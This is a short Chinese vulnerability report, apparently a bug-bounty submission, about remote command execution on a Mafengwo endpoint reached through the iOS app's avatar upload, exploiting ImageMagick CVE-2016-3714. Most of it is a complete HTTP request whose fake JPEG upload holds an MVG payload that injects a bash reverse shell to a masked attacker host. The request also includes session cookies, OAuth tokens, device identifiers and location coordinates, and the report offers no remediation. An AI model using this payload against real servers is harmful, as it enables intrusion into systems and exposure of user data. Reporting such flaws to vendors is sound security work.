马蜂窝某站远程命令执行

目标：蚂蜂窝IOS APP

头像上传地方存在CVE-2016-3714 - ImageMagick 命令执行分析
 

POST https://m.mafengwo.cn/nb/public/xauth_change_user.php HTTP/1.1
Host: m.mafengwo.cn
Content-Type: multipart/form-data; boundary=Boundary+454EDE5BD920AC77
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=ge39jptbg3r1hujdm9bhgqps55; __idfa=564443CC-9189-42C1-9CC9-0922116AD5C4; __idfv=CA34ED38-8E5B-4526-ADC2-201F233A5707; __mfwuuid=a811fb2e-75d5-fbb3-07c4-23a20157abf8; __openudid=34c68951fec87de860a9802862152f33442f8c37; mfw_uid=91729966; mfw_uuid=572b4a14-f864-0900-2f51-39ea5fc6ed2c; oad_n=a%3A3%3A%7Bs%3A3%3A%22oid%22%3Bi%3A2581%3Bs%3A2%3A%22dm%22%3Bs%3A13%3A%22m.mafengwo.cn%22%3Bs%3A2%3A%22ft%22%3Bs%3A19%3A%222016-05-05+21%3A26%3A44%22%3B%7D
Connection: keep-alive
Proxy-Connection: keep-alive
Accept: */*
User-Agent: TravelGuideMdd/7.4.4 (iPhone; iOS 9.3.1; Scale/2.00),Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13E238 mfwappcode/cn.mafengwo.www mfwappver/7.4.4 mfwsdk/20160401 mfwjssdk/0.1
Accept-Language: zh-Hans-CN;q=1, en-US;q=0.9
Content-Length: 2731
Accept-Webp: 1

--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="app_code"

cn.mafengwo.www
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="app_ver"

7.4.4
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="channel_id"

App Store
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="device_token"

95d871b76de2867dc8723af43a258c990fc6c6f5a565fccc20410adcd4e73f23
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="device_type"

ios
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="hardware_model"

iPhone8,1
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="idfa"

564443CC-9189-42C1-9CC9-0922116AD5C4
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="idfv"

CA34ED38-8E5B-4526-ADC2-201F233A5707
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="mfwsdk_ver"

20160401
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="o_lat"

22.614055
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="o_lng"

114.035890
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="oauth_consumer_key"

4
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="oauth_nonce"

841a666f5d33a774deab83527c05188c
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="oauth_signature"

eL4MWstOj/x9mADziX8rlQHsgA0=
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="oauth_signature_method"

HMAC-SHA1
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="oauth_timestamp"

1462455168
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="oauth_token"

91729966_778cee2f668645fee3e66a124d659eae
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="oauth_version"

1.0
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="open_udid"

34c68951fec87de860a9802862152f33442f8c37
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="screen_scale"

2
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="sys_ver"

9.3.1
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="time_offset"

480
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="uid"

91729966
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="x_auth_mode"

client_auth
--Boundary+454EDE5BD920AC77
Content-Disposition: form-data; name="ulogo"; filename="ulogo"
Content-Type: image/jpeg

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/xxx.xxx.xxx/2015 0>&1")'
pop graphic-context
--Boundary+454EDE5BD920AC77--

 

反弹shell
 

 

解决方案：

请多指教~